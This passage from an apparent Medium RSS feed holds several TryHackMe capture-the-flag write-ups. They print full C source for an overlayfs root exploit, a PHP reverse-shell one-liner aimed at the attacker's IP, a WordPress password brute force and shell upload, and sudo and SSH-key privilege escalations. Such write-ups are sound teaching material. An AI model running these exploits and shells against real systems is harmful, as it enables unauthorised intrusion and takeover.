                                                        <br>┌──(kali㉿kali)-[/tmp/conf]<br>└─$ ls<br>hp  init  opt  profile.d  redis  vim  wildmidi<br>                                                                        <br>┌──(kali㉿kali)-[/tmp/conf]<br>└─$ tree .     <br>.<br>├── hp<br>│   └── hplip.conf<br>├── init<br>│   ├── anacron.conf<br>│   ├── lightdm.conf<br>│   └── whoopsie.conf<br>├── opt<br>├── profile.d<br>│   ├── bash_completion.sh<br>│   ├── cedilla-portuguese.sh<br>│   ├── input-method-config.sh<br>│   └── vte-2.91.sh<br>├── redis<br>│   └── redis.conf<br>├── vim<br>│   ├── vimrc<br>│   └── vimrc.tiny<br>└── wildmidi<br>    └── wildmidi.cfg</pre><p>Quick googling tells me redis is related to database. Things just got intersting!</p><h3>1.5. Getting in Redis</h3><p>Let’s search for passwords, using pass or password like terms.</p><pre>┌──(kali㉿kali)-[/tmp/conf]<br>└─$ grep -r &quot;pass&quot; .<br>./redis/redis.conf:# 2) No password is configured.<br>./redis/redis.conf:# If the master is password protected (using the &quot;requirepass&quot; configuration<br>./redis/redis.conf:# masterauth &lt;master-password&gt;<br>./redis/redis.conf:requirepass &quot;B65Hx562F@ggAZ@F&quot;<br>./redis/redis.conf:# resync is enough, just passing the portion of data the slave missed while<br>./redis/redis.conf:# 150k passwords per second against a good box. This means that you should<br>./redis/redis.conf:# use a very strong password otherwise it will be very easy to break.<br>./redis/redis.conf:# requirepass foobared</pre><p>Since we have the password, one option is to use <strong>telnet</strong>. It works using the same TCP/IP protocol we are familiar with. telnet MACHINE_IP PORT_NUMBER gets you in. Use the command AUTH mmm, where mmm is the password to authorize yourself.</p><p>Alternatively, download redis-cli, which looks better and has autocomplete suggestions.</p><p><a href="https://lzone.de/cheat-sheet/Redis">Redis Cheat Sheet here</a></p><pre>┌──(kali㉿kali)-[/]<br>└─$ redis-cli -h 10.10.95.197 -a &quot;B65Hx562F@ggAZ@F&quot;<br>Warning: Using a password with &#39;-a&#39; or &#39;-u&#39; option on the command line interface may not be safe.<br>10.10.95.197:6379&gt; keys *<br>1) &quot;tmp&quot;<br>2) &quot;authlist&quot;<br>3) &quot;int&quot;<br>4) &quot;internal flag&quot;<br>5) &quot;marketlist&quot;<br>10.10.95.197:6379&gt; type &quot;internal flag&quot;<br>string<br>10.10.95.197:6379&gt; get &quot;internal flag&quot;<br>&quot;THM{ff8e518addbbddb74531a724236a8221}&quot;<br>10.10.95.197:6379&gt; type &quot;marketlist&quot;<br>list<br>10.10.95.197:6379&gt; type &quot;authlist&quot;<br>list</pre><p>The commands are self explanatory.</p><h3>Exploring Redis</h3><p>What about marketlist?</p><pre>10.10.95.197:6379&gt; lrange marketlist 0 9000<br>1) &quot;Machine Learning&quot;<br>2) &quot;Penetration Testing&quot;<br>3) &quot;Programming&quot;<br>4) &quot;Data Analysis&quot;<br>5) &quot;Analytics&quot;<br>6) &quot;Marketing&quot;<br>7) &quot;Media Streaming&quot;<br>10.10.95.197:6379&gt; type &quot;Machine Learning&quot;<br>none<br>10.10.95.197:6379&gt; type &quot;Analytics&quot;<br>none</pre><p>Nothing. What about authlist?</p><pre>10.10.95.197:6379&gt; lrange &quot;authlist&quot; 0 9000<br>1) &quot;QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==&quot;<br>2) &quot;QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==&quot;<br>3) &quot;QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==&quot;<br>4) &quot;QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==&quot;</pre><p>lrange is basically an iterator, going from value 0 to 9000. Looks like a base64 encoded string.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ echo &quot;QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==&quot; | base64 -d<br>Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v</pre><p>Great! We have the exact syntax listed, which we can modify for our use. 127.0.0.1 becomes MACHINE_IP.</p><p>Using rsync rsync://rsync-connect@MACHINE_IP we see an interesting directory. Continuing, we get rsync rsync://rsync-connect@MACHINE_IP:/file/sys-internal/. Listing this looks like sys-internal’s file system. Using a bit of directory enumeration, we can get the user flag and the id_rsa!</p><h3>2. Foothold</h3><h3>2.1 Sneaking in SSH</h3><p>I checked the .ssh directory, which seems to be empty. Putting in a file called authorized_keys file contating our id_rsa.pub will allow us to connect using SSH without as password ;)</p><pre>┌──(kali㉿kali)-[~/.ssh]<br>└─$ rsync -ahv ./id_rsa.pub  rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/authorized_keys<br>Password: <br>sending incremental file list<br>id_rsa.pub</pre><pre>sent 671 bytes  received 35 bytes  83.06 bytes/sec<br>total size is 563  speedup is 0.80<br>                                                            <br>┌──(kali㉿kali)-[~/.ssh]<br>└─$ rsync rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/                   <br>Password: <br>drwxrwxr-x          4,096 2021/06/16 01:12:15 .<br>-rw-r--r--            563 2021/05/25 13:02:37 authorized_keys</pre><p>Let’s login!</p><pre>┌──(kali㉿kali)-[~/.ssh]<br>└─$ ssh sys-internal@10.10.81.234                <br>The authenticity of host &#39;10.10.81.234 (10.10.81.234)&#39; can&#39;t be established.<br>ECDSA key fingerprint is SHA256:0ysriVjo72WRJI6UecJ9s8z6QHPNngSiMUKWFTO6Vr4.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.81.234&#39; (ECDSA) to the list of known hosts.<br>Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)</pre><pre> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br></pre><pre> * Canonical Livepatch is available for installation.<br>   - Reduce system reboots and improve kernel security. Activate at:<br>     https://ubuntu.com/livepatch</pre><pre>541 packages can be updated.<br>342 updates are security updates.</pre><pre>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br></pre><pre>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.</pre><pre>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.</pre><pre>sys-internal@vulnnet-internal:~$</pre><p>*in hacker voice* We are in!</p><h3>3. PrivEsc</h3><p>Let’s check the common priv-esc vectors.</p><p>SUID? sudo? crontab? nope. Kernel exploit?</p><pre>sys-internal@vulnnet-internal:~$ uname -a<br>Linux vulnnet-internal 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux</pre><p>Yes! We can use the <a href="https://www.exploit-db.com/exploits/39230">overlayfs local priv esc exploit</a>.</p><p>Use the following -</p><pre>cat &lt;&lt; EOF &gt; filename.extension<br>{blah blah}<br>EOF</pre><p>syntax to echo multiple lines in a file.</p><pre>sys-internal@vulnnet-internal:~$ cat &lt;&lt;EOF&gt;xpl.c<br>#define _GNU_SOURCE<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;err.h&gt;<br>#include &lt;errno.h&gt;<br>#include &lt;sched.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;sys/wait.h&gt;<br>#include &lt;sys/mount.h&gt;</pre><pre>//#include &lt;attr/xattr.h&gt;<br>//#include &lt;sys/xattr.h&gt;<br>int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);<br></pre><pre>#define DIR_BASE    &quot;./ovlcap&quot;<br>#define DIR_WORK    DIR_BASE &quot;/work&quot;<br>#define DIR_LOWER   DIR_BASE &quot;/lower&quot;<br>#define DIR_UPPER   DIR_BASE &quot;/upper&quot;<br>#define DIR_MERGE   DIR_BASE &quot;/merge&quot;<br>#define BIN_MERGE   DIR_MERGE &quot;/magic&quot;<br>#define BIN_UPPER   DIR_UPPER &quot;/magic&quot;<br></pre><pre>static void xmkdir(const char *path, mode_t mode)<br>{<br>    if (mkdir(path, mode) == -1 &amp;&amp; errno != EEXIST)<br>        err(1, &quot;mkdir %s&quot;, path);<br>}</pre><pre>static void xwritefile(const char *path, const char *data)<br>{<br>    int fd = open(path, O_WRONLY);<br>    if (fd == -1)<br>        err(1, &quot;open %s&quot;, path);<br>    ssize_t len = (ssize_t) strlen(data);<br>    if (write(fd, data, len) != len)<br>        err(1, &quot;write %s&quot;, path);<br>    close(fd);<br>}</pre><pre>static void xcopyfile(const char *src, const char *dst, mode_t mode)<br>{<br>    int fi, fo;</pre><pre>    if ((fi = open(src, O_RDONLY)) == -1)<br>        err(1, &quot;open %s&quot;, src);<br>    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)<br>        err(1, &quot;open %s&quot;, dst);</pre><pre>    char buf[4096];<br>    ssize_t rd, wr;</pre><pre>    for (;;) {<br>        rd = read(fi, buf, sizeof(buf));<br>        if (rd == 0) {<br>            break;<br>        } else if (rd == -1) {<br>            if (errno == EINTR)<br>                continue;<br>            err(1, &quot;read %s&quot;, src);<br>        }</pre><pre>        char *p = buf;<br>        while (rd &gt; 0) {<br>            wr = write(fo, p, rd);<br>            if (wr == -1) {<br>                if (errno == EINTR)<br>                    continue;<br>                err(1, &quot;write %s&quot;, dst);<br>            }<br>            p += wr;<br>            rd -= wr;<br>        }<br>    }</pre><pre>    close(fi);<br>    close(fo);<br>}</pre><pre>static int exploit()<br>{<br>    char buf[4096];</pre><pre>    sprintf(buf, &quot;rm -rf &#39;%s/&#39;&quot;, DIR_BASE);<br>    system(buf);</pre><pre>    xmkdir(DIR_BASE, 0777);<br>    xmkdir(DIR_WORK,  0777);<br>    xmkdir(DIR_LOWER, 0777);<br>    xmkdir(DIR_UPPER, 0777);<br>    xmkdir(DIR_MERGE, 0777);</pre><pre>    uid_t uid = getuid();<br>    gid_t gid = getgid();</pre><pre>    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)<br>        err(1, &quot;unshare&quot;);</pre><pre>    xwritefile(&quot;/proc/self/setgroups&quot;, &quot;deny&quot;);</pre><pre>    sprintf(buf, &quot;0 %d 1&quot;, uid);<br>    xwritefile(&quot;/proc/self/uid_map&quot;, buf);</pre><pre>    sprintf(buf, &quot;0 %d 1&quot;, gid);<br>    xwritefile(&quot;/proc/self/gid_map&quot;, buf);</pre><pre>    sprintf(buf, &quot;lowerdir=%s,upperdir=%s,workdir=%s&quot;, DIR_LOWER, DIR_UPPER, DIR_WORK);<br>    if (mount(&quot;overlay&quot;, DIR_MERGE, &quot;overlay&quot;, 0, buf) == -1)<br>        err(1, &quot;mount %s&quot;, DIR_MERGE);</pre><pre>    // all+ep<br>    char cap[] = &quot;\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00&quot;;</pre><pre>    xcopyfile(&quot;/proc/self/exe&quot;, BIN_MERGE, 0777);<br>    if (setxattr(BIN_MERGE, &quot;security.capability&quot;, cap, sizeof(cap) - 1, 0) == -1)<br>        err(1, &quot;setxattr %s&quot;, BIN_MERGE);</pre><pre>    return 0;<br>}</pre><pre>int main(int argc, char *argv[])<br>{<br>    if (strstr(argv[0], &quot;magic&quot;) || (argc &gt; 1 &amp;&amp; !strcmp(argv[1], &quot;shell&quot;))) {<br>        setuid(0);<br>        setgid(0);<br>        execl(&quot;/bin/bash&quot;, &quot;/bin/bash&quot;, &quot;--norc&quot;, &quot;--noprofile&quot;, &quot;-i&quot;, NULL);<br>        err(1, &quot;execl /bin/bash&quot;);<br>    }</pre><pre>    pid_t child = fork();<br>    if (child == -1)<br>        err(1, &quot;fork&quot;);</pre><pre>    if (child == 0) {<br>        _exit(exploit());<br>    } else {<br>        waitpid(child, NULL, 0);<br>    }</pre><pre>    execl(BIN_UPPER, BIN_UPPER, &quot;shell&quot;, NULL);<br>    err(1, &quot;execl %s&quot;, BIN_UPPER);<br>}<br>EOF<br>sys-internal@vulnnet-internal:~$ gcc xpl.c <br>sys-internal@vulnnet-internal:~$ ./a.out <br>bash-4.4#</pre><p>And we are done!</p><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/p/tryhackme-vulnnet-internal-writeup/"><em>https://chaudhary1337.github.io</em></a><em> on June 17, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f0e4edf5fc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Smag Grotto Writeup]]></title>
            <link>https://chaudharycodes.medium.com/tryhackme-smag-grotto-writeup-fd1dc856c836?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd1dc856c836</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Fri, 11 Jun 2021 06:53:44 GMT</pubDate>
            <atom:updated>2021-06-11T06:53:44.514Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<h4>Easy THM Room. Enumerate, Wireshark Packet Exploration, Fun PrivEscs.</h4><figure><img alt="easy THM room smag grotto room background image" src="https://cdn-images-1.medium.com/max/1024/0*WHGHWErs_u3Mro34.png" /></figure><p><a href="https://tryhackme.com/room/room_name_here">Play</a></p><h3>1. Scanning &amp; Enumeration</h3><p>We do the below scans in parallel.</p><h3>1.1. Port Scanning</h3><pre>Not shown: 998 closed ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)<br>|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)<br>|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Smag<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Nothing too special.</p><h3>1.2. Web Enumeration</h3><pre>┌──(kali㉿kali)-[~]<br>└─$ gobuster dir -w /usr/share/wordlists/dirbuste-list-2.3-medium.txt -x &#39;php,html,txt&#39; -t 32 -q -219<br>/index.php            (Status: 200) [Size: 402]<br>/mail                 (Status: 301) [Size: 311] [10.10.62.219/mail/]</pre><p>/mail/ looks interesting. We explore that below.</p><h3>1.3. Web Exploration</h3><figure><img alt="homepage of smag grotto" src="https://cdn-images-1.medium.com/max/1024/0*26_-QkPvb35buclm.png" /></figure><figure><img alt="the mail directory showing some interesting conversations and a file" src="https://cdn-images-1.medium.com/max/1024/0*D59bwciY5Wlk3kQX.png" /></figure><p>We add the smag.thm line in /etc/hosts file, looking at their emails.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ cat /etc/hosts<br>127.0.0.1       localhost<br>127.0.1.1       kali<br>10.10.62.219    smag.thm<br># The following lines are desirable for IPv6 capable hosts<br>::1     localhost ip6-localhost ip6-loopback<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters</pre><h3>1.4. Wireshark</h3><p>The website has a file, which we can download just by clicking on it. Exploring it further.</p><p>In one of the packets, we found:</p><pre>POST /login.php HTTP/1.1<br>Host: development.smag.thm<br>User-Agent: curl/7.47.0<br>Accept: */*<br>Content-Length: 39<br>Content-Type: application/x-www-form-urlencoded</pre><pre>username={hidden}&amp;password={wow_very_nice}HTTP/1.1 200 OK<br>Date: Wed, 03 Jun 2020 18:04:07 GMT<br>Server: Apache/2.4.18 (Ubuntu)<br>Content-Length: 0<br>Content-Type: text/html; charset=UTF-8</pre><p>Add the development.smag.thm along with smag.thm domain in the /etc/hosts file. It thus looks like the following.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ cat /etc/hosts<br>127.0.0.1       localhost<br>127.0.1.1       kali<br>10.10.62.219    smag.thm development.smag.thm<br># The following lines are desirable for IPv6 capable hosts<br>::1     localhost ip6-localhost ip6-loopback<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters</pre><h3>2. Foothold</h3><p>Logging in using the credentials from wireshark, we get a place to enter commands.</p><figure><img alt="admin page after logging in the subdomain" src="https://cdn-images-1.medium.com/max/1024/0*494ToxmPN_W8GF2P.png" /></figure><p>I tried a bunch of commands, and this one stuck: php -r &#39;$sock=fsockopen(&quot;MY_KALI_IP&quot;,4444);exec(&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;</p><p>We get a shell!</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nc -lvnp 4444                  <br>listening on [any] 4444 ...<br>connect to [10.17.8.184] from (UNKNOWN) [10.10.62.219] 33886<br>bash -i<br>bash: cannot set terminal process group (707): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@smag:/var/www/development.smag.thm$</pre><h3>3. PrivEsc</h3><p>Looking around, I found something intersting in /etc/crontab in the last line.</p><pre>www-data@smag:/$ cat /etc/crontab<br>cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.</pre><pre>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</pre><pre># m h dom mon dow user  command<br>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup &gt; /home/jake/.ssh/authorized_keys<br>#</pre><p>We see the file /opt/.backups/jake_id_rsa.pub.backup is put into jake’s authorized keys. This means that if I can get my own, kali SSH public key in here, I would be able to login without a password.</p><p>First, we need to make sure we have writing permissions.</p><pre>www-data@smag:/$ ls -la /opt/.backups/jake_id_rsa.pub.backup<br>ls -la /opt/.backups/jake_id_rsa.pub.backup<br>-rw-rw-rw- 1 root root 563 Jun  5  2020 /opt/.backups/jake_id_rsa.pub.backup</pre><p>Great! Now I copy pasted my own id_rsa.pub key here.</p><pre>www-data@smag:/$ echo &quot;ssh-rsa {wow_nice_looking_key_uh} kali@kali&quot; &gt; /opt/.backups/jake_id_rsa.pub.backup</pre><p>And …</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ ssh jake@10.10.62.219      <br>The authenticity of host &#39;10.10.62.219 (10.10.62.219)&#39; can&#39;t be established.<br>ECDSA key fingerprint is SHA256:MMv7NKmeLS/aEUSOLy0NbyGrLCEKErHJTp1cIvsxnpA.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.62.219&#39; (ECDSA) to the list of known hosts.<br>Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)</pre><pre> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage</pre><pre>Last login: Fri Jun  5 10:15:15 2020<br>jake@smag:~$</pre><p>Success!</p><p>Now for PrivEsc to root. Exploring a bit, I found:</p><pre>jake@smag:~$ sudo -l<br>Matching Defaults entries for jake on smag:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User jake may run the following commands on smag:<br>    (ALL : ALL) NOPASSWD: /usr/bin/apt-get</pre><p>Using <a href="https://gtfobins.github.io/gtfobins/apt-get/#sudo">GTFOBins — apt-get sudo exploit</a></p><pre>jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh<br># whoami <br>root<br>#</pre><p>System compromised!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd1dc856c836" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: ColddBox Walkthrough]]></title>
            <link>https://chaudharycodes.medium.com/tryhackme-colddbox-walkthrough-7919fe9ff547?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7919fe9ff547</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Fri, 11 Jun 2021 05:48:29 GMT</pubDate>
            <atom:updated>2021-06-11T05:48:29.623Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<h4>An Easy THM Room. All PrivEsc Paths Explored. Detailed Writeup.</h4><figure><img alt="THM Easy room image of ColddBox" src="https://cdn-images-1.medium.com/max/1024/0*4IXopRQv4qyYT9Yy.png" /></figure><p><a href="https://tryhackme.com/room/colddboxeasy">Play</a></p><h3>1. Scanning &amp; Enumeration</h3><p>We do the below scans in parallel.</p><h3>1.1. Port Scanning</h3><pre>Not shown: 999 closed ports<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-generator: WordPress 4.1.31<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: ColddBox | One more machine</pre><p>Nothing interesting. Only port 80 open, no ssh.</p><pre>Not shown: 65530 closed ports<br>PORT      STATE    SERVICE<br>80/tcp    open     http<br>4512/tcp  open     unknown<br>8584/tcp  filtered unknown<br>43286/tcp filtered unknown<br>59766/tcp filtered unknown</pre><p>Again, these don’t look like they are expected. We may check 4512 later.+</p><h3>1.2. Web Enumeration</h3><pre>┌──(kali㉿kali)-[~]<br>└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x &#39;php,html,txt&#39; -t 32 -q -u 10.10.141.86         <br>/index.php            (Status: 301) [Size: 0] [--&gt; http://10.10.141.86/]<br>/wp-content           (Status: 301) [Size: 317] [--&gt; http://10.10.141.86/wp-content/]<br>/wp-login.php         (Status: 200) [Size: 2547]                                     <br>/license.txt          (Status: 200) [Size: 19930]                                    <br>/wp-includes          (Status: 301) [Size: 318] [--&gt; http://10.10.141.86/wp-includes/]<br>/readme.html          (Status: 200) [Size: 7173]                                      <br>/wp-trackback.php     (Status: 200) [Size: 135]                                       <br>/wp-admin             (Status: 301) [Size: 315] [--&gt; http://10.10.141.86/wp-admin/]   <br>/hidden               (Status: 301) [Size: 313] [--&gt; http://10.10.141.86/hidden/]     <br>/xmlrpc.php           (Status: 200) [Size: 42]</pre><p>Note the /hidden/ directory. Rest everything looks standard.</p><p>I tried exploring the wp-trackback, but it looked like a dead end.</p><h3>1.3. Web Exploration</h3><figure><img alt="homepage of coldbox website" src="https://cdn-images-1.medium.com/max/1024/0*KIZ1AHDUXMpyS6Ly.png" /></figure><p>The author is mentioned as:</p><p>Author: the cold in person</p><figure><img alt="author shown in the colddbox website posts" src="https://cdn-images-1.medium.com/max/1024/0*cl91Fsgh25NZpfGa.png" /></figure><p>This username is incorrect, as shown by the WordPress error message.</p><figure><img alt="the author name is invalid in the WordPress login page" src="https://cdn-images-1.medium.com/max/804/0*nHQuTqPWUSIyEVRb.png" /></figure><h3>1.4. Hidden Directory</h3><p>We find a hidden directory in the gobsuter scan.</p><figure><img alt="urgent message displayed on the hidden directory page. This gives us usernames for wordpress" src="https://cdn-images-1.medium.com/max/1024/0*5HkADjenTHvAtsYK.png" /></figure><p>We thus get a list of the usernames:</p><ul><li>C0ldd</li><li>Hugo</li><li>Philip Trying them out gives the same error message for all of them. This means we can brute-force!</li></ul><figure><img alt="Trying out the usernames found/" src="https://cdn-images-1.medium.com/max/728/0*7x05ajDc-tg8rnB5.png" /></figure><h3>1.5. Brute-Force</h3><p>We use the wpscan tool.</p><p>wpscan --url http://10.10.141.86/ -U c0ldd,philip,hugo -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 32 -&gt;</p><ul><li>–url: specifies the url</li><li>-U: specifies the userlist</li><li>-P: specifies the passwordlist</li><li>-t: threads</li><li>–password-attack: self explanatory</li></ul><p>Wait patiently, this scan took me 12+ minutes. We thus get: [SUCCESS] - c0ldd / {the author yeeted this}</p><figure><img alt="WordPress dashboard admin view." src="https://cdn-images-1.medium.com/max/1024/0*XN02lVTKpqmPvW0A.png" /></figure><h3>2. Foothold</h3><p>To get a foothold, I usually edit the 404.php page. It can be found in: Appearance -&gt; editor -&gt; 404.php</p><figure><img alt="PHP reverse shell in WordPress 404.php page" src="https://cdn-images-1.medium.com/max/1024/0*1DiW-kBhk4KAX22c.png" /></figure><p>I put the phprevshell. This can be taken from <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">github here</a></p><ol><li>Start a listener on selected port. Listen using nc -lnvp PORT_NUMBER_HERE.</li><li>Go to: http://10.10.141.86/?p=2 (only post=1 exists)</li></ol><pre>┌──(kali㉿kali)-[~/Desktop/tools/files]<br>└─$ nc -lvnp 443  <br>listening on [any] 443 ...<br>connect to [10.17.8.184] from (UNKNOWN) [10.10.141.86] 54404<br>Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux<br> 06:14:23 up 45 min,  0 users,  load average: 0.30, 12.10, 16.15<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>sh: 0: can&#39;t access tty; job control turned off<br>$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@ColddBox-Easy:/$</pre><p>We are in!</p><h3>3. PrivEsc</h3><p>I transferred the linpeas.sh file, which you can take from <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh">here</a>.</p><p>Start a python server on your machine, using sudo python3 -m http.server 80 and on the target machine, wget YOUR_IP_ADDRESS/linpeas.sh. Make sure that you are in a directory with write permisssions. One <em>really</em> good place is /tmp direcotry. Execute the file using bash linpeas.sh</p><p>The following was marked as potential PE vectors.</p><pre>[+] Operative system                                                                       <br>[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits            <br>Linux version 4.4.0-186-generic (buildd@lcy01-amd64-002) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) ) #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020<br>Distributor ID: Ubuntu<br>Description:    Ubuntu 16.04.7 LTS<br>Release:        16.04<br>Codename:       xenial</pre><p>Looks like an old kernel version.</p><pre>[+] Sudo version<br>[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version               <br>Sudo version 1.8.16</pre><p>This exploit only works in certain conditions:</p><ul><li>you know sudo password of <em>any</em> user</li><li>the permissions look something like: (ALL, !root) /usr/bin/id.</li></ul><pre>[+] SUID - Check easy privesc, exploits and write perms                                    <br>[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid              <br>-rwsr-xr-x 1 root   root        44K May  7  2014 /bin/ping6                                <br>-rwsr-xr-x 1 root   root        44K May  7  2014 /bin/ping<br>-rwsr-sr-x 1 daemon daemon      51K Jan 14  2016 /usr/bin/at  ---&gt;  RTru64_UNIX_4.0g(CVE-2002-1614)                                                                                   <br>-rwsr-xr-x 1 root   root       217K Feb  8  2016 /usr/bin/find</pre><p>/usr/bin/find marked. We can also find other files with the set-uid bit. Look at the following.</p><pre>www-data@ColddBox-Easy:/tmp$ find / -type f -perm -u=s 2&gt; /dev/null<br>find / -type f -perm -u=s 2&gt; 